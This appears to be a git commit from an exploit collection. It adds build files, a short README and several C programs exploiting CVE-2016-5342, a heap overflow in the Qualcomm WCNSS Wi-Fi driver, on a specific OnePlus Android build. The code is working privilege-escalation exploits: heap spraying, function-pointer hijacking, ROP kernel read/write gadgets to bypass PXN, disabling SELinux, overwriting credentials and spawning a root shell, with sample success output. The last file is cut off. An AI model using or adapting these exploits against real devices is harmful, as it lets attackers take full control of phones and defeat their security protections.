add CVE-2016-5342

This commit is contained in:
Aaron Lewis
2018-01-08 16:09:27 +08:00
parent 0f32f9edd5
commit 4b59f7af9d
9 changed files with 1339 additions and 0 deletions

BIN
qualcomm/CVE-2016-5342/.DS_Store vendored Normal file

Binary file not shown.

View File

@@ -0,0 +1,70 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_SRC_FILES := exploit_mp3.c
LOCAL_MODULE := exploit_mp3
LOCAL_MODULE_TAGS := optional
LOCAL_CFLAGS += -std=c99
LOCAL_LDFLAGS += -static
include $(BUILD_EXECUTABLE)
include $(CLEAR_VARS)
LOCAL_SRC_FILES := exploit_tty.c
LOCAL_MODULE := exploit_tty
LOCAL_MODULE_TAGS := optional
LOCAL_CFLAGS += -std=c99
LOCAL_LDFLAGS += -static
include $(BUILD_EXECUTABLE)
include $(CLEAR_VARS)
LOCAL_SRC_FILES := exploit_tty_bypass_pxn.c
LOCAL_MODULE := exploit_tty_bypass_pxn
LOCAL_MODULE_TAGS := optional
LOCAL_CFLAGS += -std=c99
LOCAL_LDFLAGS += -static
include $(BUILD_EXECUTABLE)
include $(CLEAR_VARS)
LOCAL_SRC_FILES := exploit_mp3_bypass_pxn.c
LOCAL_MODULE := exploit_mp3_bypass_pxn
LOCAL_MODULE_TAGS := optional
LOCAL_CFLAGS += -std=c99
LOCAL_LDFLAGS += -static
include $(BUILD_EXECUTABLE)
include $(CLEAR_VARS)
LOCAL_SRC_FILES := exploit_bypass_pxn.c
LOCAL_MODULE := exploit_bypass_pxn
LOCAL_MODULE_TAGS := optional
LOCAL_CFLAGS += -std=c99
LOCAL_LDFLAGS += -static
include $(BUILD_EXECUTABLE)

View File

@@ -0,0 +1,14 @@
# CVE-2016-5342
ro.build.fingerprint
oneplus/bacon/A0001:5.1.1/LMY48B/YOG4PAS1N0:user/release-keys
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
Qucomm WCNSS Driver Heap Overflow: wcnss_wlan_write
## patch
https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=579e796cb089324c55e0e689a180575ba81b23d9

View File

@@ -0,0 +1,301 @@
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <malloc.h>
#include <unistd.h>
#include <sys/prctl.h>
#define MAX_FD 8
#define BINDER_MAX_FDS 1010
#define SELINUX_ENFORCING (0xC16A7070)
#define INIT_TASK_ADDRESS (0xC14F6040)
#define COMM_OFFSET ( 0xC14F635C - INIT_TASK_ADDRESS )
#define TASK_OFFSET ( 0xC14F6218 - INIT_TASK_ADDRESS )
#define PID_OFFSET ( 0x0 )
#define CRED_OFFSET ( COMM_OFFSET - 8 )
char *name = "freener_pwn0";
/**
*
* ROP_READ
* C04DBE88 LDR R0, [R2]
* C04DBE8C BX LR
*/
int read_fd = 0;
#define ROP_READ ( 0xC04DBE88 )
unsigned int kernel_read( unsigned int dummy, unsigned int address )
{
unsigned int value;
value = ioctl( read_fd, dummy, address );
return value;
}
/**
* ROP_WRITE GATGAD
* C0760FE4 STR R2, [R1]
* C0760FE8 BX LR
*/
#define ROP_WRITE ( 0xC0760FE4 )
int write_fd = 0;
void kernel_write( unsigned int address, unsigned int value )
{
ioctl( write_fd, address, value );
}
#define AID_SYSTEM 1000
int main( int argc, char **argv )
{
int fd[MAX_FD];
int binder_fd[BINDER_MAX_FDS];
pid_t child;
int i = 0;
int z = 0;
/*
for ( z=0; z<10; z++ ) {
child = fork();
if ( child == 0 ) {
printf( "[+] Child %d is spraying\n", z );
for( i=0; i < BINDER_MAX_FDS; i++ ) {
binder_fd[i] = open( "/dev/binder", O_RDWR );
if ( binder_fd[i] < 0 ) {
printf( "[-] Can not open binder %d\n", i );
return -1;
}
}
printf( "[+] Child is waiting\n" );
read(0, binder_fd, 10);
return 0;
}
}
sleep(10);
printf( "[+] Parent Wake up\n" );
*/
prctl( PR_SET_NAME, (unsigned long)name, 0, 0, 0 );
printf( "[+] Begin to Test Exploit\n" );
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
setgid( AID_SYSTEM );
setuid( AID_SYSTEM );
printf( "[+] change to system\n" );
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
printf( "[+] Spray SLUB Cache\n" );
for( ; i < BINDER_MAX_FDS; i++ ) {
binder_fd[i] = open( "/dev/binder", O_RDWR );
if ( binder_fd[i] < 0 ) {
printf( "[-] Can not open binder %d\n", i );
return -1;
}
}
for ( i = 0; i < BINDER_MAX_FDS; i++ ) {
close( binder_fd[i] );
}
for( i=0; i < BINDER_MAX_FDS; i++ ) {
binder_fd[i] = open( "/dev/binder", O_RDWR );
if ( binder_fd[i] < 0 ) {
printf( "[-] Can not open binder %d\n", i );
return -1;
}
}
for ( i=0; i < MAX_FD; i++ ) {
fd[i] = open( "/dev/msm_mp3", O_RDWR | O_NONBLOCK );
if ( fd[i] < 0 ) {
printf( "[-] Can not open /dev/msm_mp3\n" );
return -1;
}
}
printf( "[+] Spray SLUB Cache Down\n" );
int fd_wlan;
char *buffer1 = NULL;
int message1_len = 512 + 0x150+4 - 4;
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
if ( fd_wlan < 0 ) {
printf( "[-] Can not open /dev/wcnss_wlan\n" );
return -1;
}
buffer1 = (char *)malloc( message1_len + 4 );
if ( buffer1 == NULL ) {
printf( "[-] No enough memory\n" );
return -1;
}
memset( buffer1, 0, message1_len+4 );
int length = 512;
*(unsigned int *)buffer1 = length;
*(unsigned int *)(buffer1 + length + 0x14C) = ROP_READ;
int count = 0;
close( fd[0] );
close( fd[2] );
count = write( fd_wlan, buffer1, message1_len + 4 );
printf( "[+] Trigger Kernel Execution Code\n" );
int result, target_one = 0;
for ( i=1; i<8; i++ ) {
if ( i==2 ) {
continue;
}
result = ioctl( fd[i], 0x41414141, SELINUX_ENFORCING );
if ( result == 0x1 ) {
target_one = i;
}
}
/*
result = ioctl( fd[1], 0x41414141, SELINUX_ENFORCING );
if ( result != 0x1 ) {
result = ioctl( fd[3], 0x41414141, SELINUX_ENFORCING );
if ( result != 0x1 ) {
printf( "[-] Overflow to Target Object failed %x\n", result );
return -1;
}
else {
printf( "[+] Overflow object 3 \n" );
target_one = 3;
}
}
else {
printf( "[+] Overflow object 1 \n" );
target_one = 1;
}
*/
if ( target_one == 0 ) {
printf( "[-] Overflow to Target Object failed\n" );
return -1;
}
printf( "[+] Overflow object %d \n", target_one );
if ( target_one > 3 ) {
printf( "[-] Overflow Wrong Object \n" );
return -1;
}
read_fd = fd[ target_one ];
close( fd_wlan );
printf( "[+] Current SELINUX Status %x = %x\n",SELINUX_ENFORCING , result );
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
if ( fd_wlan < 0 ) {
printf( "[-] Can not open /dev/wcnss_wlan\n" );
return -1;
}
printf( "[+] Open wcanss_wlan again\n" );
*(unsigned int *)(buffer1 + length + 0x14C) = ROP_WRITE;
close(fd[4]);
close( fd[6] );
count = write( fd_wlan, buffer1, message1_len + 4 );
for ( i=1; i<8; i+=2 ){
if ( i == target_one ) {
continue;
}
ioctl( fd[i], SELINUX_ENFORCING, 0x0);
result = ioctl( fd[target_one], 0x41414141, SELINUX_ENFORCING );
if ( result == 0x0) {
write_fd = fd[i];
break;
}
}
if ( i == 9 ) {
printf( "[-] Overflow target object 2 failed\n" );
return -1;
}
printf( "[+] Overflow object %d \n", i );
printf( "[+] Write success %x\n", result );
/**
* Find MySelf
*/
unsigned int task = 0;
task = kernel_read( 0x10000001, (INIT_TASK_ADDRESS + TASK_OFFSET) );
unsigned int cred = 0;
unsigned int magic = 0;
unsigned int magic1 = 0;
unsigned int comm_address = 0;
char comm_name[17] = { 0 };
unsigned int comm_part_one = 0, comm_part_two = 0, comm_part_three = 0;
do {
//printf( "[+] TASK Address : %x\n", task );
comm_address = task - TASK_OFFSET + COMM_OFFSET;
//printf( "[+] Comm Address : %x\n", comm_address );
comm_part_one = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET );
comm_part_two = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET + 4 );
comm_part_three = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET +8 );
(*(unsigned int *)comm_name) = comm_part_one;
(*(unsigned int *)(comm_name+4)) = comm_part_two;
(*(unsigned int *)(comm_name+8)) = comm_part_three;
//printf( "[+] Command line : %s\n", comm_name );
if ( comm_part_one == 0x65657266 &&
comm_part_two == 0x5F72656E &&
comm_part_three == 0x306E7770 ) {
cred = kernel_read( 0x30000003, task - TASK_OFFSET + CRED_OFFSET );
printf( "[+] CRED address : %x\n", cred );
magic = kernel_read( 0x40000004, cred + 12 );
break;
}
task = kernel_read( 0x20000002, task - TASK_OFFSET + TASK_OFFSET );
} while ( task != (INIT_TASK_ADDRESS + TASK_OFFSET) );
if ( task == INIT_TASK_ADDRESS ) {
printf( "[-] Do not find myself\n" );
}
if ( cred == 0 ) {
printf( "[-] Do not get CRED address\n" );
return -1;
}
if ( magic != 0x43736564 || magic != 0x44656144 ) {
magic = 4;
}
else {
magic = 16;
}
printf( "[+] Modify CRED\n" );
for ( i=0; i<17; i++ ) {
if ( i < 8 ) {
kernel_write( cred + magic + i*4, 0x0 );
}
else if ( i == 8 ) {
continue;
}
else {
kernel_write( cred + magic + i*4, 0xFFFFFFFF );
}
}
if ( getuid() == 0 ) {
printf( "[+] Root Success\n" );
execl( "/system/bin/sh", "/system/bin/sh", NULL );
return 1;
}
printf( "[+] Failed \n" );
return 0;
}

View File

@@ -0,0 +1,188 @@
/*
* Author: freener.gdx@gmail.com
*
* root@bacon:/data/local/tmp # ./exploit_mp3
* [+] Begin to Test Exploit
* [+] uid=0 euid=0
* [+] change to system
* [+] uid=1000 euid=1000
* [+] Spray SLUB Cache
* [+] Spray SLUB Cache Down
* [+] out_flush Address is at 0x008505
* [+] in_flush Address is at 0x008471
* [+] free a object in kmalloc-512 slab
* [+] Occupy the object we freed, and change the data of it
* [+] Payload Address is at 0x008489
* [+] Trigger Kernel Execution Code
* [+] uid=0 euid=0
* root@bacon:/data/local/tmp #
*/
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <malloc.h>
#include <unistd.h>
#define MAX_FD 3
#define BINDER_MAX_FDS 300
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef int __attribute__((regparm(3))) (* _printk)(const char *fmt, ...);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
_printk printk;
#define COMMIT_CREDS_ADDR (0xc01ee21c)
#define PREPARE_KERNEL_CREDS_ADDR (0xc01eea00)
#define PRINTK (0xc0d50ce4)
#define SELINUX_ENFORCING (0xC16A7070)
struct file {
void *ops;
};
int __attribute__((regparm(3))) payload( struct file* f, unsigned int a, unsigned long b)
{
printk( "Come here with close\n" );
commit_creds( prepare_kernel_cred(0) );
unsigned char *t=f;
*(unsigned int *)(t+0xe8) = t+0xe8;
printk( "Fix corrupted ion_region_queue : %x\n",*(unsigned int*)(t+0xe8) );
memcpy( t+0xf0, t+512+0xf0, 4 ); //copy client
memcpy( t+0xB0, t+512+0xB0, 0xe8-0xb0-1 );
return -1;
}
int __attribute__((regparm(3))) payload_ioctl( struct file* f, unsigned int a, unsigned long b)
{
printk( "Come here with ioctl\n" );
unsigned int *selinux_enforcing = SELINUX_ENFORCING;
printk( "[+] SELINUX_ENFORCING = %d\n", *selinux_enforcing );
*selinux_enforcing = 0;
printk( "[+] SELINUX_ENFORCING = %d\n", *selinux_enforcing );
commit_creds( prepare_kernel_cred(0) );
return -1;
}
struct q6audio_aio {
int dummy;
};
void __attribute__((regparm(3))) out_flush( struct q6audio_aio * xx ) {
unsigned char *t=xx;
*(unsigned int *)(t+0xe8) = t+0xe8;
printk( "modified value : %x\n",*(unsigned int*)(t+0xe8) );
memcpy( t+0xf0, t+512+0xf0, 4 );
return 0;
}
void __attribute__((regparm(3))) in_flush( struct q6audio_aio * xx ) {
printk( "Call in_flush\n" );
return 0;
}
struct list_head {
struct list_head *next, *prev;
};
struct list_head ion_region_queue;
#define AID_SYSTEM 1000
int main( int argc, char **argv )
{
int fd[MAX_FD];
int binder_fd[BINDER_MAX_FDS];
printf( "[+] Begin to Test Exploit\n" );
int i = 0;
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
setgid( AID_SYSTEM );
setuid( AID_SYSTEM );
printf( "[+] change to system\n" );
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
commit_creds = COMMIT_CREDS_ADDR;
prepare_kernel_cred = PREPARE_KERNEL_CREDS_ADDR;
printk = PRINTK;
printf( "[+] Spray SLUB Cache\n" );
for( ; i < BINDER_MAX_FDS; i++ ) {
binder_fd[i] = open( "/dev/binder", O_RDWR );
if ( binder_fd[i] < 0 ) {
printf( "[-] Can not open binder %d\n", i );
return -1;
}
}
for ( i=0 ; i < MAX_FD; i++ ) {
fd[i] = open( "/dev/msm_mp3", O_RDWR | O_NONBLOCK );
if ( fd[i] < 0 ) {
printf( "[-] Can not open /dev/msm_mp3\n" );
return -1;
}
}
printf( "[+] Spray SLUB Cache Down\n" );
int fd_wlan;
char *buffer1 = NULL;
int message1_len = 512 + 0x150+4 - 4;
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
if ( fd_wlan < 0 ) {
printf( "[-] Can not open /dev/wcnss_wlan\n" );
return -1;
}
buffer1 = (char *)malloc( message1_len + 4 );
if ( buffer1 == NULL ) {
goto fail;
}
memset( buffer1, 0, message1_len+4 );
int length = 512;
*(unsigned int *)buffer1 = length;
*(unsigned int *)(buffer1 + length + 0x14C) = payload_ioctl;
*(unsigned int *)(buffer1 + length + 0x150) = payload_ioctl;
*(unsigned int *)(buffer1 + length + 0x48 ) = 0x01;
*(unsigned int *)(buffer1 + length + 0xF0 ) = 0x41414141; //client
printf( "[+] out_flush Address is at %08p\n", out_flush );
printf( "[+] in_flush Address is at %08p\n", in_flush );
*(unsigned int *)(buffer1 + length + 0xF4 ) = payload;
*(unsigned int *)(buffer1 + length + 0xF8 ) = in_flush;;
*(unsigned int *)(buffer1 + length + 0xFC ) = 0;
*(unsigned int *)(buffer1 + length + 0xE8 ) = 0x42424242;//&ion_region_queue;
int count = 0;
printf( "[+] free a object in kmalloc-512 slab\n" );
close( fd[0] );
printf( "[+] Occupy the object we freed, and change the data of it\n" );
count = write( fd_wlan, buffer1, message1_len + 4 );
printf( "[+] Payload Address is at %08p\n", payload );
printf( "[+] Trigger Kernel Execution Code\n" );
int result;
//result = ioctl( fd[2], 0x40046100, 0x44444444 );
result = ioctl( fd[1], 0x40046144, 0x44444444 );
//close( fd[1] );
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
if ( getuid() != 0 ) {
printf( "[-] root faild\n" );
goto fail;
}
execl( "/system/bin/sh", "/system/bin/sh", NULL );
fail:
return -1;
}

View File

@@ -0,0 +1,248 @@
/*
* freener.gdx@gmail.com
*
* root@bacon:/data/local/tmp # ./exploit_mp3_bypass_pxn
* [+] Begin to Test Exploit
* [+] uid=0 euid=0
* [+] change to system
* [+] uid=1000 euid=1000
* [+] Spray SLUB Cache
* [+] Spray SLUB Cache Down
* [+] Trigger Kernel Execution Code
* [+] Current SELINUX Status c16a7070 = 1
* [+] Open wcanss_wlan again
* [+] Write success 0
* [+] CRED address : e704b000
* [+] Modify CRED
* [+] Root Success
* root@bacon:/data/local/tmp #
*/
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <malloc.h>
#include <unistd.h>
#include <sys/prctl.h>
#define MAX_FD 8
#define BINDER_MAX_FDS 1000
#define SELINUX_ENFORCING (0xC16A7070)
#define INIT_TASK_ADDRESS (0xC14F6040)
#define COMM_OFFSET ( 0xC14F635C - INIT_TASK_ADDRESS )
#define TASK_OFFSET ( 0xC14F6218 - INIT_TASK_ADDRESS )
#define PID_OFFSET ( 0x0 )
#define CRED_OFFSET ( COMM_OFFSET - 8 )
char *name = "freener_pwn0";
/**
*
* ROP_READ
* C04DBE88 LDR R0, [R2]
* C04DBE8C BX LR
*/
int read_fd = 0;
#define ROP_READ ( 0xC04DBE88 )
unsigned int kernel_read( unsigned int dummy, unsigned int address )
{
unsigned int value;
value = ioctl( read_fd, dummy, address );
return value;
}
/**
* ROP_WRITE GATGAD
* C0760FE4 STR R2, [R1]
* C0760FE8 BX LR
*/
#define ROP_WRITE ( 0xC0760FE4 )
int write_fd = 0;
void kernel_write( unsigned int address, unsigned int value )
{
ioctl( write_fd, address, value );
}
#define AID_SYSTEM 1000
int main( int argc, char **argv )
{
int fd[MAX_FD];
int binder_fd[BINDER_MAX_FDS];
prctl( PR_SET_NAME, (unsigned long)name, 0, 0, 0 );
printf( "[+] Begin to Test Exploit\n" );
int i = 0;
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
setgid( AID_SYSTEM );
setuid( AID_SYSTEM );
printf( "[+] change to system\n" );
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
printf( "[+] Spray SLUB Cache\n" );
for( ; i < BINDER_MAX_FDS; i++ ) {
binder_fd[i] = open( "/dev/binder", O_RDWR );
if ( binder_fd[i] < 0 ) {
printf( "[-] Can not open binder %d\n", i );
return -1;
}
}
for ( i=0; i < MAX_FD; i++ ) {
fd[i] = open( "/dev/msm_mp3", O_RDWR | O_NONBLOCK );
if ( fd[i] < 0 ) {
printf( "[-] Can not open /dev/msm_mp3\n" );
return -1;
}
}
printf( "[+] Spray SLUB Cache Down\n" );
int fd_wlan;
char *buffer1 = NULL;
int message1_len = 512 + 0x150+4 - 4;
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
if ( fd_wlan < 0 ) {
printf( "[-] Can not open /dev/wcnss_wlan\n" );
return -1;
}
buffer1 = (char *)malloc( message1_len + 4 );
if ( buffer1 == NULL ) {
printf( "[-] No enough memory\n" );
return -1;
}
memset( buffer1, 0, message1_len+4 );
int length = 512;
*(unsigned int *)buffer1 = length;
*(unsigned int *)(buffer1 + length + 0x14C) = ROP_READ;
int count = 0;
close( fd[0] );
count = write( fd_wlan, buffer1, message1_len + 4 );
printf( "[+] Trigger Kernel Execution Code\n" );
int result;
result = ioctl( fd[1], 0x40046144, SELINUX_ENFORCING );
if ( result != 0x1 ) {
printf( "[-] Read Kernel Failed %x\n", result );
return -1;
}
read_fd = fd[1];
close( fd_wlan );
printf( "[+] Current SELINUX Status %x = %x\n",SELINUX_ENFORCING , result );
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
if ( fd_wlan < 0 ) {
printf( "[-] Can not open /dev/wcnss_wlan\n" );
return -1;
}
printf( "[+] Open wcanss_wlan again\n" );
*(unsigned int *)(buffer1 + length + 0x14C) = ROP_WRITE;
close(fd[4]);
count = write( fd_wlan, buffer1, message1_len + 4 );
result = ioctl( fd[5], SELINUX_ENFORCING, 0x0);
result = ioctl( fd[1], 0x40046144, SELINUX_ENFORCING );
if ( result != 0x0) {
printf( "[-] Write Kernel Failed %x\n", result );
return -1;
}
write_fd = fd[5];
printf( "[+] Write success %x\n", result );
/**
* Find MySelf
*/
unsigned int task = 0;
task = kernel_read( 0x10000001, (INIT_TASK_ADDRESS + TASK_OFFSET) );
unsigned int cred = 0;
unsigned int magic = 0;
unsigned int magic1 = 0;
unsigned int comm_address = 0;
char comm_name[17] = { 0 };
unsigned int comm_part_one = 0, comm_part_two = 0, comm_part_three = 0;
do {
//printf( "[+] TASK Address : %x\n", task );
comm_address = task - TASK_OFFSET + COMM_OFFSET;
//printf( "[+] Comm Address : %x\n", comm_address );
comm_part_one = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET );
comm_part_two = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET + 4 );
comm_part_three = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET +8 );
(*(unsigned int *)comm_name) = comm_part_one;
(*(unsigned int *)(comm_name+4)) = comm_part_two;
(*(unsigned int *)(comm_name+8)) = comm_part_three;
//printf( "[+] Command line : %s\n", comm_name );
if ( comm_part_one == 0x65657266 &&
comm_part_two == 0x5F72656E &&
comm_part_three == 0x306E7770 ) {
cred = kernel_read( 0x30000003, task - TASK_OFFSET + CRED_OFFSET );
printf( "[+] CRED address : %x\n", cred );
magic = kernel_read( 0x40000004, cred + 12 );
break;
}
task = kernel_read( 0x20000002, task - TASK_OFFSET + TASK_OFFSET );
} while ( task != (INIT_TASK_ADDRESS + TASK_OFFSET) );
if ( task == INIT_TASK_ADDRESS ) {
printf( "[-] Do not find myself\n" );
}
if ( cred == 0 ) {
printf( "[-] Do not get CRED address\n" );
return -1;
}
if ( magic != 0x43736564 || magic != 0x44656144 ) {
magic = 4;
}
else {
magic = 16;
}
printf( "[+] Modify CRED\n" );
for ( i=0; i<17; i++ ) {
if ( i < 8 ) {
kernel_write( cred + magic + i*4, 0x0 );
}
else if ( i == 8 ) {
continue;
}
else {
kernel_write( cred + magic + i*4, 0xFFFFFFFF );
}
}
if ( getuid() == 0 ) {
printf( "[+] Root Success\n" );
execl( "/system/bin/sh", "/system/bin/sh", NULL );
return 1;
}
printf( "[+] Failed \n" );
return 0;
}

View File

@@ -0,0 +1,224 @@
/*
* Author: freener.gdx@gmail.com
* Date : 2016.7
*
* root@bacon:/data/local/tmp # ./exploit_tty
* [+] Exploit Start...
* [+] Current UID : 0
* [+] Spreay Kmalloc-1024 Slub
* [+] Release a object in kmalloc-1024 slub
* [+] OverFlow the buffer
* [+] Try to get the control
* [+] exploit success
* root@bacon:/data/local/tmp #
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <linux/termios.h>
#include <unistd.h>
#define PHYS_OFFSET 0xC0000000
//#define PAGE_SIZE 0x1000
#define TTY_MAGIC 0x5401
#define ONEOFF_ALLOCS 100
#define UNLUCKLY_ONE ONEOFF_ALLOCS-5
#define COMMIT_CREDS_ADDR (0xc01ee21c)
#define PREPARE_KERNEL_CREDS_ADDR (0xc01eea00)
#define PRINTK (0xc0d50ce4)
#define SELINUX_ENFORCING (0xC16A7070)
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef int __attribute__((regparm(3))) (* _printk)(const char *fmt, ...);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
_printk printk;
struct file {
void *ops;
};
int __attribute__((regparm(3))) payload_ioctl( struct file* f, unsigned int a, unsigned long b)
{
printk( "Come here with ioctl\n" );
unsigned int *selinux_enforcing = (unsigned int*)SELINUX_ENFORCING;
printk( "[+] SELINUX_ENFORCING = %d\n", *selinux_enforcing );
*selinux_enforcing = 0;
printk( "[+] SELINUX_ENFORCING = %d\n", *selinux_enforcing );
commit_creds( prepare_kernel_cred(0) );
printk( "[+] Shellcode Down\n" );
return -1;
}
struct device;
struct tty_driver;
struct tty_operations;
typedef struct {
int counter;
} atomic_t;
struct kref {
atomic_t refcount;
};
struct tty_struct_header {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
} overwrite;
int openpty(int* master, int* slave, char* name ) {
*master = getpt();
if (*master == -1) {
return -1;
}
if (grantpt(*master) == -1 || unlockpt(*master) == -1) {
close(*master);
return -1;
}
char buf[32];
if (name == NULL) {
name = buf;
}
if (ptsname_r(*master, name, sizeof(buf)) != 0) {
close(*master);
return -1;
}
*slave = open(name, O_RDWR|O_NOCTTY);
if (*slave == -1) {
close(*master);
return -1;
}
return 0;
}
unsigned long get_symbol(char *target_name) {
FILE *f;
unsigned long addr;
char dummy;
char name[256];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL)
return 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
if (ret == 0) {
fscanf(f, "%s\n", name);
continue;
}
if (!strcmp(name, target_name)) {
printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
fclose(f);
return addr;
}
}
printf("[-] Couldn't resolve \"%s\"\n", name);
fclose(f);
return 0;
}
int main() {
char scratch[1024] = {0};
void *tty_operations[64];
int i, temp_fd_1, temp_fd_2;
int ptm_fds[ONEOFF_ALLOCS];
int pts_fds[ONEOFF_ALLOCS];
for (i = 0; i < 64; ++i)
tty_operations[i] = (void *)payload_ioctl;
printf( "[+] Exploit Start...\n" );
printf( "[+] Current UID : %d\n", getuid() );
/*
puts("[+] Resolving symbols");
commit_creds = (commit_creds_fn)get_symbol("commit_creds");
prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
if (!commit_creds || !prepare_kernel_cred) {
printf( "[-] Can not resolve symbols\n" );
return 1;
}
*/
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
printk = (_printk)PRINTK;
printf( "[+] Spreay Kmalloc-1024 Slub\n" );
for (i = 0; i < ONEOFF_ALLOCS; ++i) {
if (openpty(&ptm_fds[i], &pts_fds[i], NULL) == -1) {
puts("[-] pty creation failed");
return 1;
}
}
int fd_wlan;
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR | O_NOCTTY );
if ( fd_wlan < 0 ) {
printf( "[-] Can not open /dev/wcnss_wlan\n" );
return -1;
}
char *buffer1 = NULL;
int message1_len = 1024 - 4 + 28 ;
buffer1 = (char *)malloc( message1_len + 4 );
if ( buffer1 == NULL ) {
printf("[-] Failed to create message\n" );
return -1;
}
memset( buffer1, 0, message1_len+4 );
int length = 1024;
*(unsigned int *)buffer1 = length;
*(unsigned int *)(buffer1 + length ) = TTY_MAGIC;
*(unsigned int *)(buffer1 + length + 4) = 0xDEADBEEF;
*(unsigned int *)(buffer1 + length + 8) = (unsigned int)scratch;
*(unsigned int *)(buffer1 + length + 12) = (unsigned int)scratch;
*(unsigned int *)(buffer1 + length + 16) = (unsigned int)tty_operations;
int count = 0;
printf( "[+] Release a object in kmalloc-1024 slub\n" );
close( ptm_fds[UNLUCKLY_ONE] );
close( pts_fds[UNLUCKLY_ONE] );
printf( "[+] OverFlow the buffer\n" );
count = write( fd_wlan, buffer1, message1_len + 4 );
printf( "[+] Try to get the control\n" );
//ioctl( ptm_fds[UNLUCKLY_ONE] + 1 , 0xdeadbddf );
ioctl( pts_fds[UNLUCKLY_ONE +1], 0xdeadbeef );
if ( getuid() == 0 ) {
printf( "[+] exploit success\n" );
execl( "/system/bin/sh", "/system/bin/sh", NULL );
}
printf( "[-] ROOT Faild !!!\n" );
}

View File

@@ -0,0 +1,293 @@
/*
* Author: freener.gdx@gmail.com
* Date : 2016.7
* root@bacon:/data/local/tmp # ./exploit_tty_bypass_pxn
* [+] Exploit Test Begain
* [+] Spray Kmalloc-1024 Slab
* [+] Ret2dir Spray ...
* [+] Modify Operation from 0 to c04dbe88
* [+] Release one object in slab
* [+] Bang!!! Overflow!!!
* [+] Try to get the control
* [+] OverWrite Success ptm
* [+] SELINUX = 1
* [+] CRED address : e702df80
* [+] Change to ROP_WRITE
* [+] Modify Operation from c04dbe88 to c0760fe4
* [+] Close Selinux
* [+] Modify CRED
* [+] Root Success
* root@bacon:/data/local/tmp #
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#define PHYS_OFFSET 0xC0000000
#define TTY_MAGIC 0x5401
#define ONEOFF_ALLOCS ( 8 * 20 + 7 )
#define UNLUCKLY_ONE ( ONEOFF_ALLOCS - 2 )
#define SELINUX_ENFORCING (0xC16A7070)
#define INIT_TASK_ADDRESS (0xC14F6040)
#define COMM_OFFSET ( 0xC14F635C - INIT_TASK_ADDRESS )
#define TASK_OFFSET ( 0xC14F6218 - INIT_TASK_ADDRESS )
#define PID_OFFSET ( 0x0 )
#define CRED_OFFSET ( COMM_OFFSET - 8 )
int effect_fd = 0;
char *mmap_base = NULL;
/**
*
* ROP_READ
* C04DBE88 LDR R0, [R2]
* C04DBE8C BX LR
*/
#define ROP_READ ( 0xC04DBE88 )
unsigned int kernel_read( unsigned int dummy, unsigned int address )
{
unsigned int value;
value = ioctl( effect_fd, dummy, address );
return value;
}
/**
* ROP_WRITE GATGAD
* C0760FE4 STR R2, [R1]
* C0760FE8 BX LR
*/
#define ROP_WRITE ( 0xC0760FE4 )
void kernel_write( unsigned int address, unsigned int value )
{
ioctl( effect_fd, address, value );
}
void ready_operation( unsigned int operation )
{
if ( operation != ROP_READ && operation != ROP_WRITE ) {
printf( "[-] Invalid Operation\n" );
return;
}
printf( "[+] Modify Operation from %x to ", *(unsigned int*)mmap_base );
int i, z;
for ( i=0; i< 256 * 800 * 4; i++ ) {
for ( z=0; z<64; z++ )
*(unsigned int *)(mmap_base + i * 1024 + z * 4) = operation;
}
printf( "%x\n", *(unsigned int *)mmap_base );
}
int openpty(int* master, int* slave, char* name ) {
*master = getpt();
if (*master == -1) {
return -1;
}
if (grantpt(*master) == -1 || unlockpt(*master) == -1) {
close(*master);
return -1;
}
char buf[32];
if (name == NULL) {
name = buf;
}
if (ptsname_r(*master, name, sizeof(buf)) != 0) {
close(*master);
return -1;
}
*slave = open(name, O_RDWR|O_NOCTTY);
